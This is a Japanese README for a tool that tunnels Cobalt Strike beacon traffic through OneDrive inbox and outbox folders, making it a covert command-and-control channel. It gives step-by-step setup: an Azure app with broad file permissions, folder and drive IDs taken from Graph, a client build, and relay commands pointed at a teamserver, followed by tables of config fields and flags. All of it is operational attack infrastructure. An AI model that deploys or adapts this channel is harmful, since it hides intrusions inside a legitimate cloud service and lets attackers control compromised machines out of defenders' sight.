
OneDriveをCobalt Strikeの隠密C2トランスポートとして利用する
OneDrive をトランスポート層として使用する Cobalt Strike のユーザー定義 C2 チャネル。

Files.ReadWrite.All アプリケーション許可を持つアプリ登録。Azure Portal で アプリの登録 に移動し、新しいアプリを作成します:
概要ページにある テナント ID と クライアント ID を控えておきます。
API のアクセス許可 で:
Files.ReadWrite.All を追加します。証明書とシークレット で、新しいシークレットを作成し、その値をコピーします。
ユーザーの OneDrive で、受信トレイ用と送信トレイ用の 2 つのフォルダーを作成します (例: c2inbox と c2outbox)。
Graph Explorer を開き、そのユーザーとしてサインインし、次を実行します:
GET https://graph.microsoft.com/v1.0/me/drive/root/children
各フォルダーの id と、JSON レスポンス内の任意のエントリから driveId を取得します。
cp server/config.json.example server/config.json
server/config.json を記入します:
次にクライアントをビルドします:
make
リレーを起動します (ターミナルが切断されても動作し続けるように screen または tmux を使用してください):
python3 server/relay.py --config server/config.json --ts-addr <teamserver-ip> --ts-port <udc2-port>
Cobalt Strike で、同じポートに UDC2 リスナーを作成し、client/bof.o をロードします。
リレーは、再起動の間に状態を追跡するために、設定ファイルの隣にいくつかのファイルを作成します:
config.json.state.json) - 処理済みの受信トレイ ファイル、保留中のアップロード、ビーコン セッション情報を追跡します。--state でカスタム パスを設定できます。config.json.state.json.spool/) - まだ OneDrive にアップロードされていないレスポンス データを保持します。リレーがアップロード中にクラッシュした場合、スプールがデータを保持するため、次回起動時に再試行できます。config.json.state.json.lock) - 2 つのリレー インスタンスが同じ状態に対して実行されるのを防ぎます。Another relay holds the lock と表示され、他にリレーが実行されていない場合、そのロックはクラッシュによる古いものです。リレーのローカル状態が破損した場合、または古いロックが起動を妨げている場合は、--clean を使用して状態ファイルとスプール ディレクトリを消去し、リレーを新規状態で起動します:
python3 server/relay.py --config server/config.json --clean
ロック ファイルは保持されます。別のインスタンスが実行されている間は、リレーはクリーンアップを行いません。次回の通常起動時に再初期化され、30 分より古い受信トレイ ファイルはスキップされます。
状態ファイルとスプール ディレクトリを自分で削除して手動でリセットすることもできます。ロック ファイルが古い場合 (リレーが実行されていない場合) は、それも削除してください。

| Field | Value |
|---|
tenant_id | Microsoft Entra ID テナント ID |
client_id | アプリケーションのクライアント ID |
client_secret | クライアント シークレットの値 |
drive_id | OneDrive ドライブ ID |
inbox_folder_id | 受信トレイ フォルダー ID |
outbox_folder_id | 送信トレイ フォルダー ID |
| Flag | Description |
|---|
--config | config.json へのパス (必須) |
--ts-addr | Teamserver IP |
--ts-port | UDC2 リスナー ポート |
--poll | ポーリング間隔 (秒) (デフォルト 2.0) |
--state | 状態ファイルへのパス (デフォルト: <config>.state.json) |
--debug | デバッグ ログを有効にする |
--clean | 状態ファイルとスプール ディレクトリを削除して終了する |